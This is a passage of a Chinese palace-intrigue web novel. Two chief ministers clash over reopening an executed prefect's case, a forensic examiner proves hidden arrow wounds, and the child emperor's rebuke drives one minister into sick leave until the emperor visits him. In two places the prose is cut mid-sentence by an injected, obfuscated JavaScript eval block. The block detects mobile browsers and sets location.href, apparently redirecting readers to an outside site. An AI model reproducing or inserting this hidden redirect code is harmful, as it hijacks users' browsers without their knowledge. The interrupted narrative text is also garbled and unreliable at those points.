林佩和陆洗不约而同地看向小皇帝,眼神皆是意味深长。 圣意已定。 不一时,千步廊外的棺材被抬入宫门。 陆洗回过神,挥袖请命:“太后,陛下,臣想推荐一个人和验尸官一起查验,以为公正。” 朱昱修道:“何人?” 陆洗道:“江鄱谭县人吴香,前川西眉县提刑。” 朱昱修拍掌道:“好。” 听到这个大名鼎鼎的民间仵作,很多人都变了脸色。 吴香在眉县当官时曾经卷入一起人命官司,由于执着于真相,不听上司的教训,不久后就被革去官职,落得妻离子散的下场。陆洗当时谪居川西,听说其人其事深感可惜,遂出手相助,帮吴香赎回妻子。来年,陆洗收到朝廷调令升任松江知府,立刻派人把吴香一家接到浙东,供其吃住,保其安宁。吴香感激陆洗,誓死效命,以民间仵作的身份破获过许多连官府都无从下手的疑难案件。 金水桥走过一高一矮两袭素衣。 高个子的人肤色偏黝,目大藏神,正是吴香。 而那跟在后面的矮个子的人,纵然束男子发髻穿男子衣服,犹不掩其清秀阴柔的面容。 林佩只一眼便认出这人是陆洗在青霖救下的风尘女莳一。 “林大人,这就叫千金散尽还复来。”陆洗悄声道,“我的扇子可不白搭。” “我确实没有你这么大的赌性。”林佩假意点头,“是非成败,自求多福。” 艾草点燃,殿外青烟升腾。 安抚亡灵的钟鼓之乐响起。 刑部吏员打开棺材。 十六具白骨在殿廊之下一一排开。 验尸官对照死者的身份,详细复查年龄、性别、身高等是否吻合。 吴香却不是按部就班。 他只扫了一遍尸骨,然后蹲下身,从中夹取出一块腿骨,交代莳一根据骨上的痕迹把十六名死者划分为两拨人。 验尸的过程相当繁琐,但由于朱昱修坐着一动不动,百官也都战战兢兢地站在原地观看。 一个时辰之后,案情迎来转折。 吴香和验尸官得出的是不同的结论。 验尸官维持原来的判断,认为十六名守仓军士系与暴民发生械斗致死,且身份无疑。 吴香作为仵作却提出了疑议。 尧恩先行问话:“仵作为何提出疑议?” 吴香道:“回大人,在下对死者的身份并无疑议,但这十六名收仓军士并不是如前所说全是死于与暴民的械斗之中,至少从时间和死法来看就可以分为两拨人。” 尧恩道:“何以见得?” 吴香道:“大人请看。” 15. 昭雪(下) 械斗伤可以分为钝器伤和锐器伤两大类型。 钝器所伤,如棍棒、锤子所伤,骨头凹陷、粉碎或不规则开裂。 锐器所伤,如匕首、箭矢所伤,形成的损伤平整光滑,形状具有辨识性。 十六名死者大部分为钝器所伤,但有三名的情况极其特殊。 他们的身上没有钝器伤,而其颅骨、肋骨、腿骨还分别留下了几处三棱锥形的切口平整的锐器伤痕。 吴香反复观测,判断出这些伤痕是箭矢造成的。 莳一取出死者生前所穿的衣物,在对应位置找到破口,亦证明了这一点。 吴香道:“大人,这是筒子箭所致,箭镞长五寸,采用夹钢制造,民间没有,也并非当时守仓军士配备的标准,在广南当地只有十王府曾经私铸过这样的荞麦棱箭镞。” 尧恩皱起眉,问道:“两拨人死亡时间和地点不同又是如何推断得的?” 吴香就地从衣服中夹取出一缕未完全腐烂的染色丝线:“大人请看,这是红翘花染上的颜色,颜色只出现在这三个被筒子箭射死的军士身上,而其余的守仓军士身上并没有。” 刑部吏员一一查看,确系如此。 吴相道:“根据案卷记载和吴某人实地考察,高州常平仓附近只有一处林子生长红翘花,这处林子并不在灾民冲常平仓的路上,而是在常平仓和通往湖广的官道之间。” 百官惊叹不已。 ——“这个吴香真有神鬼莫测之术!” 一片颅骨被摆到了御案之上,受百千瞩目。 陆洗道:“陛下,太后,如此这一切就说得通了。” 朱昱修道:“朕还没明白,怎么就说得通了?” 陆洗道:“因为臣手里还有一样证据,刚才不说是担心若不能当堂验出疑点会连累地方兄弟。” 朱昱修道:“你现在可以说了。” 陆洗道:“吴香南下探查案情之时,臣也托人遍访与高州相邻的州县衙门,挨个打听盘问,终于在湖广郴州找到了一封信。” 宋轶捧出黄绫包裹的卷宗,刑部按律当众验看州府开具的调阅公文。 堂下响起低呼。 只见册簿中夹着一张泛黄的信纸,落款正是郑冉。 这封信写于常平仓械斗发生前半个月,内容是向湖广郴州借粮八千石,算不上公文,却是地方官员互相帮扶常用的凭据,相当于俗语中的‘写借据’。 这种“借据”双方主簿都会留存,但十王府在事后清算之时把高州州府内所有的痕迹都销毁了,而郴州那边又换了一个不知情的知州,故而也没上报这封信的存在。 陆洗坚信自己对人性的判断,嘱属下挨个探访与高州接壤的州县,一处不漏地排查,整整两个月才终于找到此信。 白纸黑字无声地诉说着真相。 “郑知州在信中与对方约定了接洽的时间。”陆洗道,“按照日子推算,他出发时械斗还没发生,而他路过常平仓的那一日,正是械斗发生的第二日。” 陈述进行之时,尧恩咳了咳,意在询问林佩如何应对。 林佩微微摇头,示意不要打断。 他没有想到陆洗能拿出打破原有罪名的证据。 一方面他被陆洗为翻案所做的努力所折服,另一方面也默默为真相能昭雪而欣慰。 “陛下,太后。”陆洗扶一下梁冠,用清晰的条理捋出事情来龙去脉,“永熙二十一年五月,高州迅雷震电,大批渔民的房屋受灾,当地粮价居高不下,郑知州既不想与十王府同流合污,也不想看百姓饿死,于是另寻门路,只身前往湖广郴州商量借粮事项,途中听三名守仓军士来报,知常平仓爆发械斗,却不知此时十王府已经盯紧了他,时刻要找机会拿他去顶罪。十王府的人看到郑知州与那三名军士对话,当即射出暗箭杀死了军士,并勾连乡绅制造谣言,致使郑知州卷入其中,难脱干系。” 陆洗说到这里突然停下,似因动了真情而哽咽。 ——“这才是让郑知州彻底绝望的原因,他已成弃子,再也看不到自己的前途了,于是才破罐子破摔,假传政令让灾民继续搬运仓中粮食,以一己之力担下所有罪名,保住了那些灾民的性命,自己却含冤而死。” 水落石出,真相大白。 众人纷纷发出感慨,许多都落了泪。 朱昱修令人扶起怀生。 怀生已经跪了两个时辰,颤巍巍站不起来:“陛下,草民之父……” 朱昱修道:“你放心!朕不日即还他清白!” 怀生激动得连恩都忘记谢,只不停磕头。 一缕阳光忽破云层,劈在积尘的卷宗上。 陆洗缓了缓,转头对林佩道:“多谢你没有打断我。” 林佩道:“怎么还客气起来了。” 陆洗笑道:“你也认可我?” 林佩道:“我只对事不对人,这件事上你是对的。” 陆洗还想说什么,被林佩一记冰冷的目光堵了回去。 龙椅之上,朱昱修拨弄着那片颅骨,陷入对案情本身的思考之中。 “陛下,太后,臣之前的判断有误,臣愿戴罪服劳。”林佩趁此时机开口,先自认过错,后主动揽责,“请陛下和太后允许臣重审此案,案情一日未清,臣一日不领俸禄。” 钟鼓渐入尾声。 陆洗一醒。 他见林佩全程不阻挠自己,以为是让了步,没想到末了林佩还是要抢审案之权。 陆洗道:“陛下,是臣先找到本案的疑点,若是还让林大人审,万一他文过饰非怎么办?” 林佩不与争辩,直面圣颜:“陛下,臣不是想抢,而是有两点考虑,一则平北朝贺在即,右相政务繁忙恐怕难以抽身,二则这个案子的影响重大,臣恐右相不知全貌,失了轻重。” 陆洗气得一笑,当堂拉住林佩的袖子:“林大人你别文绉绉的,你先说,我怎么就不知全貌。” 林佩道:“你知道高州常平仓的用途吗?” 陆洗一顿,意识到这回是自己被请入瓮中了。 事情的背后还有事。 林佩把袖子扯回来,捋平褶皱,如往日一样进言。 郑冉之案的另一头是当时南粮北调的最大受益方——雍西诸卫所。 按朝廷的规划,高州常平仓的屯粮是要送往雍西供卫所军需的,如果沿途州县都能够以赈济灾情为理由把粮食扣下来发给乡民,那南粮北调大计无疑将变成泡影。 所以在当时,尽管郑冉的案情情有可原,但是由于犯罪事实基本确凿,十王府势力又未消除,朝廷为了安抚晋北的八万守军和二十万移民在权衡利弊之下只能判他死罪。 “直接导致灾民去冲常平仓的人虽然不是郑冉,但后来纵容灾民搬空粮仓的人却仍然是他。”林佩平声静气道,“如此一来,此案即便昭雪平反,辞令也要有所收敛,需字字斟酌,句句考量,否则传到各省会爆发更多冲突,需要用更多的钱粮去稳定局面。” “皇帝,左相在奏事呢。”董嫣让太监把那一片颅骨撤走,劝导道,“你要多听。” 熟料朱昱修孩子心性,见好玩的被收走了,皱起眉毛生气起来。 林佩道:“是故,臣已经提前写好了……” 朱昱修道:“朕为了看开棺验尸才等到这个时辰,现在案子真相大白,是你的错,你还和右相争什么?” 林佩闻言微怔。 小皇帝从来没有像今天这样当堂训斥过他。 朱昱修一不做二不休,借此机会把积压多时的情绪发了出来:“右相刚来京城才几个月,你每次朝会都要跟他吵,为什么不能让让他呢?他好歹知道哄朕开心,你呢,你就知道天天送一堆奏本来逼着朕批,朕有时困了,批得有些潦草了,还要被你告到茅太傅那里挨罚。” 殿中鸦雀无声,气氛令人窒息。 “陛下,林大人也是为了阜国。”陆洗轻咳一声打破局面,笑道,“只是他不像臣,臣专挑讨喜的活儿干。” 于染道:“请右相不要自贬。” 陆洗啧了一声,回头示意不要乱发言。 于染偏挺起胸膛,直言道:“过去下官对你有许多偏见,甚至是出言不逊,但今日经过此案,下官对你算是彻底服气了,你胸襟宽广待人真诚,又有雷霆手段,是一个务实的好官。” 这番话就像一段插曲。 林佩的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749272|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海中闪过走马灯般的回忆,但大多都没有什么色彩。 “左相不要往心里去。”董嫣此时已用鸠车把朱昱修哄好,总算松了口气,对林佩挤出一丝笑,“陛下今日有些疲累,此事改日再议。” 林佩点一点头,接着刚才的话:“陛下,臣已经提前写好了审理此案的注意事项以及万一地方发生混乱该如何应对,还是请陛下有空能看看,此事就不用再议了,臣不争了。” 朱昱修赌气不作理会。 董嫣帮着打圆场:“左相放心,本宫会提醒皇帝阅读你的本子。” 林佩收起笏板,对前方深鞠一躬,而后跪地行叩拜大礼。 董嫣道:“左相这是何故?” 林佩起身道:“臣身体不适,暂且告退,后几日便在家静养,陛下若有急事可找温参议。” 董嫣道:“左相,你……” 凤冠珍珠跟着主人的心情一起摇动。 林佩却转身退下。 他的气息平稳,步态自然,仿佛刚刚什么都没有发生,只把一道挺拔的背影留给众人。 * 钟声敲响。 七月望朝结束。 这场朝会持续四个时辰,从天还没亮开到日头西斜,是新皇登基以来时间最长的一场朝会。 高墙遮蔽光线,将狭长的宫道分为阴阳两边。 大小官员陆续往右掖门走。 陆洗要去东华门,到桥边才意识到今日无人与自己同道,突然身后一只手拍了拍他的肩膀。 贺之夏道:“右相一个人在这儿看风景呢?” 陆洗回过头,看清来人,笑了笑道:“平时下朝我都是和林大人一起走,今日没伴了。” 贺之夏道:“下官绕道陪你走走?” 陆洗道:“好啊。” 兵部尚书贺之夏年已过五旬,生就一张国字脸,虽是个文官,却极少掺和文斗,且因常年和武人打交道,嗓音都练得有些粗哑。 陆洗道:“贺尚书怎么想起与我聊天?” 贺之夏道:“今日见识到了右相的手腕,心中钦佩,来套个近乎。” 陆洗笑道:“哪里哪里,往后诸事还得仰仗兵部支持。” 贺之夏道:“京城之中的几支世家大族,哪个不与皇室联姻,哪个不是枝繁叶茂荫蔽一方,像我这样小地方出身的人,平时根本不敢大声说话。” 陆洗道:“这话听起来,难道贺尚书对林大人有看法?” 贺之夏道:“我是不太喜欢他。” 陆洗道:“为何?” 贺之夏道:“碧渊居士,霁月清风,论人品、才华、学识、家世,样样无可挑剔,如此一个人往朝堂上一站,衬得其他人臭不可闻,你说我怎么喜欢得起来呢?” 陆洗默了片刻,叹道:“果然京城人心深似海,我还以为你真是来套近乎的。” 贺之夏道:“怎么不是来套近乎的,今日就是一道分水岭,户部于尚书对你表示认同,朝中便不会再有人因为害怕得罪林相而刻意疏远你,你站稳了脚跟,恭喜,恭喜啊。” 陆洗道:“没有什么可喜的,我现在不过是用于牵制林大人的一条狗,可狗脖子上拴着狗绳呢,倘若绳子断开,借我十个胆子也不敢朝林大人吠一声。” 贺之夏听之一声大笑,跟着摸了摸自己的脖子。 陆洗道:“怎么?” 贺之夏道:“从未听过这么比喻自己。” 陆洗道:“你说话敞亮,我也不装糊涂,行走庙堂之上,这点自知之明还是要有的。” 二人穿过宫门。 杨花飘落,空中絮如雨。 贺之夏把手背到身后:“如此是我多虑了。” 陆洗道:“多虑什么?” 贺之夏道:“你要知道,林相这个人性情如水,看似清透无味,却只有他能让一切运转自如,若离开他,阜国的气数就到尽头了。” 陆洗道:“好,圣驾北上之前我定会把他请回来,还得指着他镇守金陵。” 贺之夏抬起手,伸出一根指头摆了摆。 陆洗道:“怎么了?” 贺之夏道:“不到一天你就会想念他的。” 16. 小皇帝 夏日荷花香正浓。 林佩告假在家,听到最大的消息便是陆洗把郑冉案从头到尾翻了过来,不仅正名昭雪,抚恤补助,追封从二品官职,还给在高州修建郑氏祠堂。 但他现在无事一身轻,已经不想人世间纷纷扰扰。 他其实并没有生气,执政多年的老狐狸哪会和乳臭未干的孩子较真,只是小皇帝把话说到那个份上,按照古往今来的戏本,他只有称病罢朝才能把戏接住。 ——“豆芽儿长出来了。” 柠儿和两三个书童跑过直廊,欢快地喊着林佩。 林佩打开窗户。 那盆种子就放在他的窗台上,才三天时间,就长出了淡黄色的嫩芽。 “真乖啊。”林佩莞尔一笑,伸手去摸,“再过两天你们就长大了,可以吃了。” 芽尖儿摇头晃脑,像在回人的话。 鲜为人知的是,林佩年轻时也是有爱好的。 琴棋书画君子六艺他样样精通,但这些都不足以称之为爱好。 他的爱好,乃是集天地之精华日月之灵气,用漫长的岁月琢磨一道菜。 他曾给京城四大名楼都写过菜谱,祥兴馆的胡椒醋鲜虾,永和园的羊肉水晶饺儿,咸福楼的五味蒸鸡,荷庄的绿豆棋子面,所用食材是常见,但每样都以风味而著称,至今仍很流行。 他甚至自己在园子里种过菜,只可惜后来公务越来越忙,便荒废了菜园子,改为种豆芽。 “逢人不说人间事,诶。”林佩提壶给豆芽儿浇水,吟诗一句,“便是人间无事人。” 柠儿扒着窗台,冒出头来:“别浇太多,会浇死的。” 林佩啧了一声:“你小子从出生到现在种过豆芽吗,快去读书,倘若你那要死不活的爹从浙东回来见你还是这点出息,发起脾气,我可不管。” 柠儿道:“才不会,爹比我还贪玩呢。” 林佩笑着摇了摇头,放下水壶。 * 林府这一头岁月静好,文辉阁那一头却是水深火热。 郎中、舍人以为既然林佩不在,那么陆洗总是会来收本子,所以只分了类,没有处理。 可陆洗想的是既然林佩不在,那么林佩手底下的人总会替他把事情办了,所以也没有处理。 如是,大堂第一天就堆积了三百多道本子。 第三天,八百道本子占满所有空地。 第七天,一千六百道本子摞起来比人还高,来人已经看不见那张吴老丞相坐过的紫檀书案。 是日,陆洗被温迎堵在门口。 温迎道:“右相,平北朝贺固然重要,但这些本子同样也是国家大事,不能置之不理。” 陆洗抽出一本,看着里面密密麻麻的字,找了半天不见重点。 温迎道:“我们已经把本子分好了大类,你手里这道应该是西南土司三年一贡的清单。” 陆洗道:“我要做什么?” 温迎被这反客为主的一问弄得啼笑皆非。 陆洗是一个目标感很强的人,不太愿意把精力分散在目标以外的事务上。 “把它看完,然后拟写处理意见,意见不宜太长否则陛下读起来会不耐烦,也不能太短,否则陛下会心生困惑。”温迎耐心地解释道,“不是所有本子都要朱批,有些用蓝批即可,但涉及重要事务就必须朱批,所以送进宫前还得分得再细些。” 陆洗道:“像这个清单,别说陛下,我都不爱看。” 温迎道:“但是林大人就会看,而且就连木器上嵌的螺钿的数量不符礼制他都能及时发现。” 陆洗倒吸一口凉气,把本子塞回去,道:“我头晕眼花,一道都批不了,你批。” 温迎道:“右相,下官只是三品参议,实在无法越俎代庖,请你理解。” 陆洗看着空荡荡的对门,心中五味杂陈,比从前任何时候都更希望看见那屋子里亮起灯火。 短短几日,他真的开始想念林佩了。 中书省压着本子又过了十天。 第十天,一道奏报撕破了纸糊的安宁。 雍西传来军报,随着郑冉一案重审的消息传到地方,西境共有六处乡民以旱灾、蝗灾等大大小小的灾情为理由闹事,要求地方开常平仓发赈济,其中有些灾害是实情,有些纯粹是子虚乌有,而地方官员态度也各不相同,有的站在民众一边,开仓放安西都护府的军粮,有的为摆平事端直接向上级开口要钱要粮……总之,因为缺少明文规定,局面一片混乱。 若再拖延不理,这把火会沿着南粮北调路线一路烧过去。 陆洗召集各部到文辉阁议事。 六部尚书陆续来到。 陆洗第一次主持议事,见大家不主动发言,才知道原来都是林佩直接布置任务,大家只需要照办,或是简单变通一下就能办。 “不管以前是什么样,反正我不是这样。”陆洗道,“你们自己想法子,达成一致即可。” 这话一出,场面由静转动,变得更乱。 要么是主意太大,要么是和稀泥,众人讨论了半天根本无法达成一致。 正是这时,温迎拉了拉宋轶,让他帮忙一起从左侧书屋搬出一箩筐公文。 ——“大家静一静!” 温迎喊停众人,躬身对陆洗行了一礼,道:“右相,下官无意冒犯你的权威,但事发突然不容拖延,朝廷必须今日就给出统一的处理意见下发地方。” 陆洗道:“你有什么法子?” 温迎指了指箩筐,道:“七月大朝前夕,林大人通宵达旦拟写了这一筐文书,当时还说用不上最好,可现在看来是必须用上了。” 卷轴打开,熟悉的字迹映入眼帘。 首卷提纲挈领,先定出南粮北调大计不可动摇的总基调,然后再次强调沿途州县交粮不得少于年初规定,最后引出各州县名录及对应分卷。 分卷则对交粮的细节做出了更加详尽周全的解释,其中就包括遇到灾害应如何处理。 除此之外,另有几道文书是写给户部、工部和兵部的,讲的是万一已经有骚乱发生,当按何种方式拨款宣抚才能最快摆平事端。 林佩人不在场,却解决了在场所有人不能解决的问题。 众人如获至宝,立即解读条令,按序执行。 陆洗一人盯着那一个箩筐发呆。 箩筐是用柳条编的,连漆都没上,朴素得不像是当朝一品的书房里该出现的东西。 可在此刻它显得那么高洁。 朝会前夕,二人铆足了劲挑灯夜战,他为不让林佩阻挠自己审案做了十足的准备,可实际上林佩并没有给他挖坑使绊,除了撕掉案卷那一页以外,林佩的精力都放在未雨绸缪之上。 是夜,残月如钩。 前院的几株盆景松树透出奇秀苍古的剪影。 陆洗坐在台阶上。 雍西的军报已经处理完毕,但堆积如山的本子就摆在这儿,时时刻刻提醒着他。 宋轶端来一杯温水:“大人,你也早些回府休息吧,明天再来批本子。” 陆洗叹口气,道:“明天我们不批本子,我们只做一件事。” 宋轶道:“什么事?” 陆洗道:“把左相请回来。” * 陆洗做了一个大胆的决定。 他把两千多道奏本和题本用马车拉着一股脑全部送进了宫中。 宫中十二监大惊失色。 小太监跑到司礼监问应该如何处理,被大监阮祎大骂一通。 阮祎道:“两千多道奏本和题本,原封不动就敢送进宫来,这是要让咱家累死吗?” 小太监道:“那就……打回去让中书省重筛?” 阮祎正要点头,一阵风来,纸页散出淡淡柏子香。 他忽然领会了陆洗的意思——解铃还须系铃人,要想让林佩回来,只能让小皇帝亲自去请。 “慢着。”阮祎甩过拂尘,吩咐司礼监众位,“把这些本子原样送到御书房去。” 小太监道:“干爹,真要这样陛下不得杀了我们?” 阮祎道:“不要多问,去做便是。” 朱昱修走进御书房,发现狮子猫不在,鸠车也不在,自己面前只有如泰山压顶般的文书。 “右相他不能批本子吗?”朱昱修神色不对了,“这么多,全要朕一个人处理?” 董嫣闻讯赶来。 她是玲珑剔透的人,一下就看出了原委,只装作不知。 “陛下,这些就是右相送来的。”董嫣道,“你既然无缘无故地偏袒了他,就要承担后果。” 朱昱修道:“他不是母后给朕找的辅臣么,偏袒些怎了,朕就是更喜欢他。” 董嫣道:“你是可以私下喜欢,但在朝堂之上,你说的每一句话都得有理有据,否则政局就会失衡,天下就会动荡。” 朱昱修阴着脸往龙椅上一坐,良久,喃喃开口:“朕把林相找回来便是。” * 林府书苑风和日丽。 林佩走在曲桥上,探出手,拉来一朵莲花。 花瓣上的露水晶莹圆润。 他把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749273|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露水装进瓶里,小心翼翼,满目是柔情。 豆芽刚长成,若无人叨扰,今日便可以用这些食材做一道荷风银芽,写进《白门食单》。 就在此时,府中来人通告。 ——“相爷,不好了,陛下车驾已出东华门,正往长安街而来。” 与下人的慌张无措对比鲜明的是林佩的气定神闲。 “你们先把门口打扫一下。”林佩道,“等我采完露水再迎接圣驾,应也来得及。” 白马金辂驾临林府门前。 林氏族人跪在街道迎接。 朱昱修踩着轿凳下地。 林佩身穿一袭白衣,缓缓从门中走出,屈膝跪地对皇帝行礼。 朱昱修却开搀扶自己的小太监,走上前去,亲自扶起林佩的手。 林佩起身:“谢陛下。” 朱昱修道:“林相的身体好些否?” 林佩道:“臣无大碍。” 君臣走进大院,来到正厅。 林府的正厅用的是螺钿紫檀木器,深褐漆色,端庄古朴。 朱昱修坐在主位,两条腿够不到地,还得放一块木凳垫着。 他的身体虽然还未长开,但样貌俊美,眼睛细长上挑,已经有了天家的英气。 林佩看着小皇帝,心中百味。 朱昱修指了指侧边的空椅子。 林佩谢恩入坐。 朱昱修道:“你还生朕的气吗?” 林佩又站起来:“臣不敢生陛下的气。” 朱昱修道:“你坐呀。” 林佩道:“臣还是站着吧。” 朱昱修道:“朕来之前你在做什么?” 林佩道:“臣身体不适,在静养。” 朱昱修道:“朕想听实话。” 林佩道:“臣在后园采芙蓉露。” 朱昱修像发现了什么秘密,开心道:“原来你也有不务正业的时候。” 林佩低头沉默。 朱昱修道:“你带朕一起去采,好不好?” 林佩拗不过,只能跟着又往里一进。 清风穿堂,水池碧波荡漾。 朱昱修流连荷花从中,很快又被别的东西吸引注意,改道去捉蜻蜓。 林佩站着不动:“陛下来找臣,是因为雍西的军报吧。” 朱昱修道:“这个事情闹得很大,朕有所耳闻。” 林佩道:“陛下且宽心,臣虽在家,但已有部署,不会让事态失控的。” 朱昱修道:“那你什么时候回来呀?” 少年天真,怎么想就怎么问,听起来竟像家常的关心。 林佩心中一热。 “无论如何,朕希望你早日消气,早日回来料理政事。”朱昱修转过身道,“右相虽机智灵敏,到底有失稳重,论治国安邦平天下还得靠你。” 大多数时候,林佩觉得小皇帝天资愚钝,想太祖十二岁时已说出“日出东方照万疆”之豪言,而小皇帝却连奏本上的字都认不全。 偏偏有那么一两个瞬间,他又觉得小皇帝是聪明的,总能在他心灰意冷的当口用一句话把他的心暖起来。 “陛下,臣知罪。”林佩道,“臣与右相相争,并不是与他有私仇,而是担心他巧言令色蒙蔽陛下,利用这次北上机会结党营私。” 朱昱修道:“朕知道,朕会留意。” 林佩点了点头:“听到陛下此言,臣已放心。” 朱昱修道:“你怎么好像要哭了?” 林佩道:“臣没有哭。” 朱昱修笑道:“那你明天就上衙,好不好?” 林佩道:“臣遵旨。” 临了,忽又想起一事。 林佩从袖中拿出玉佩。 白玉镂雕子辰佩,雕刻花纹是互为顾盼的一龙一鼠,寓意化凶为吉福泽绵长。 朱昱修道:“这是什么?” 林佩道:“陛下将去平北接见各国使臣,这本该是右相管的事,臣不便插手,只是万一遭遇不测,陛下可以托阮公公将此玉佩交给中军赤峰营主将吴清川,切记。” 朱昱修道:“右相知道这个吗?” 林佩笑一笑,寻着方才的感觉让眼底泛起泪光:“臣与陛下之间就不能有一点小秘密吗?” 朱昱修这下看得真切,连忙道:“林相你不要哭,朕记下了,绝不对旁人说。” 天子车驾回宫。 日入,东长安街戒严解除。 * 日出,一袭缀绣仙鹤的绯袍走进文辉阁。 林佩回来上衙了。 17. 坦白身世 阁中众人站在堂中迎候。 迎面是一张熟悉的面孔。 “林大人啊。”陆洗端着一盆热水出来,笑道,“一日不见如隔三秋,我对你甚是思念啊。” 水中泡有当归。 林佩心领神会。 这是给他接风洗尘,把他从桃花源引回俗世。 林佩道:“陆大人别来无恙?” 陆洗道:“朝会之时是我以小人之心度君子之腹,是我不对,我总觉得你还会骗我。” 林佩道:“矫枉过正险些耽误圣驾北上,凭白又损耗国库几十万两银钱,陆大人笑我没有亲眼见过流民,这次何不掏私囊把亏空补上以示你爱民如子?” 陆洗道:“我要真有钱早就补上了,你饶我一次。” 林佩慢条斯理地洗手。 那双手骨节分明,白皙得近乎透光,指甲修剪得圆润干净,泛着淡淡的珠色。水珠悬在指尖,欲坠不坠,像一串细小的银坠子。 陆洗道:“林大人的这双手真好看。” 林佩瞥他一眼:“布。” 陆洗道:“我来。” 陆洗放下铜盆,拿来丝巾,轻轻裹住林佩的手,自上而下按压了一遍。 陆洗做这些的时候摘下了扳指,大概是怕硌到林佩,可如此没有了翡翠的修饰,他自己合谷处的那道鞭痕看起来就有些突兀。 “我还欠着你的人情。”林佩移开目光,喉结动了一下,“只希望这之后你别总是把我骗过你的事情挂在嘴边,受了天大委屈似的。” 陆洗道:“知言,我发现我开始喜欢你这个人了。” 林佩往里走:“可是我不喜欢你,我宁愿这辈子没有遇到过你。” 这话很快得到了应验。 一眼望去,大堂堆放着杂乱无章的公文。 近三千道奏疏堆在左侧屋的门口,压弯了架子的木板。 林佩:“……” 他就知道陆洗在自己面前放低姿态一定不怀什么好意。 一切不过是小皇帝和陆洗合演的戏,目的是把他绑架回来处理这些奏疏。 林佩道:“陆余青。” 陆洗道:“诶,什么事?” 林佩道:“这么多本子你看不见吗?” 陆洗咳了咳,心虚道:“我要准备平北大典。” 林佩道:“你还真是只挑讨喜的活儿干啊。” 陆洗苦笑:“来文辉阁还不到一年,又是流外出身,能把字练好已是我的上限。” 林佩浅叹一口气,坐下研墨,心中默默悼念窗台上那盆还没来得及采摘的新鲜豆芽。 看来这几日他得住在文辉阁了。 * 夜幕降临,打更声在漆墙深巷之间悠悠回响。 廊下窗户透出朦胧暖光。 此间只多林佩一人,气氛一下就变得祥和安宁。 林佩在案前一坐就是一整天。 其余人陆续离开,他却丝毫没有知觉,只当还有尚未批完的三千本子陪伴自己。 温迎抱着林佩平时惯用的毯子进来,放榻铺好,然后摆上一个青瓷枕。 “你回去吧。”林佩道,“留你在官署过夜,怕你家里人闹意见。” 温迎下意识扶了扶乌纱帽,苦笑道:“我也早就习惯了,无妨,只要不摘这帽子。” 林佩这里说的一点私事,其实文辉阁人尽皆知——温迎之妻王氏是著名的妒妇,为防止丈夫在外沾花惹草,王氏每日都要在丈夫的官帽和发髻之间放一根稻草,此间玄妙,若是温迎去了青楼妓院等地必先摘下官帽,而摘下官帽则稻草的位置就会移动,就能被她发现了。 ——“唉,看来各家有各家的难处。” 隔壁有个人插话道。 陆洗站在竹帘外,陪二位调侃道:“活人最难缠,不陪着不哄着就会发牢骚,公文案牍倒是安静,可又显得太冷清太寂寥,摸起来没有活人的体温。” 温迎道:“右相,我家大人如此劳苦,还不是因为你太清闲?” 陆洗道:“有我在这儿陪他解闷,你放心回去吧。” 温迎道:“你在这儿我更不放心了。” “好了温迎。”林佩淡淡一笑,把批好的那摞先整了整,道,“你如果实在想留可以到后院值夜,让我和陆大人说几句话。” 陆洗掀起竹帘,看着温迎从面前走出去,扬眉一笑。 屋里又只剩下两人。 铜漏落水滴答作响。 林佩等了一会儿,道:“说吧。” 陆洗在屏风边驻足:“之前觉得你这草堂子过于简陋,现在才发现——只要你人在这儿,此屋自有良金美玉,如水沉香。” 林佩道:“要这样说我可来气了,你宁可干站着也不肯为我分担一点。” 陆洗道:“我帮你把香点上。” 林佩道:“我不用香,我屋里……” 还没说完,便见陆洗端来了原本放在大堂紫檀木案上的兽首缠枝香炉。 陆洗打开盖子。 林佩搁下笔:“陆余青,你当真以为凭这是御赐的香,我就不敢灭?” 火星在香粉之间蔓延,暗暗的红。 陆洗道:“知言,我知道这香炉是吴老丞相的旧物,他于你如师如父,而你这人又念旧,所以即便我重审案子时发现大理寺的流程有疑,也从未追查你在丰阁撕走的那一页。” 林佩道:“如是和你点香有何关系?” 陆洗道:“此香其实是我替吴老丞相向陛下所请。” 林佩道:“胡说,恩师惯用沉檀,不用柏子。” 陆洗道:“人有千面,你看到的只是其中一面。” 林佩停手。 陆洗从林佩手中夺过香铲,说出一句朴实无华的口令。 ——“速告全军,沿途十里每隔一里焚燃柏枝,民闻柏香,即知前路。” 仔细算来,这条口令已经有二三十年的历史,是吴晏舟奉命出使北边邻国时下达的。 嵩元之末,阜国正与鞑靼和谈,吴晏舟临时得知边陲一座小镇尚有三百百姓来不及撤离,立即中止谈判,带领使团卫队前去接应,但赶到之时发现镇中百姓已自发躲入雪林,难觅踪影。 吴晏舟心生一计,令卫队沿途点燃柏树枝,配以沉香和檀香,让香气顺着风飘进雪林。 按当地习俗,柏子香是为驱赶远古时候被后羿射中四处滴血的九头鸟,那三百名逃难的百姓闻着此香,便在茫茫风雪之中顺利找到了故乡人,免去了被大雪冻死或被敌国俘虏的命运。 陆洗道:“当时两国休战,朝廷用六座城池换边塞安宁,吴老丞相自认为只是尽了最后的职责,可他不知道的是,那三百人的子孙为感激他的救命之恩,至今仍用柏子香为他祈福。” 林佩道:“卷宗都没有记载的事,你为何如此清楚?” 陆洗道:“因为我就在那三百人之中。” 林佩心中顿起波澜。 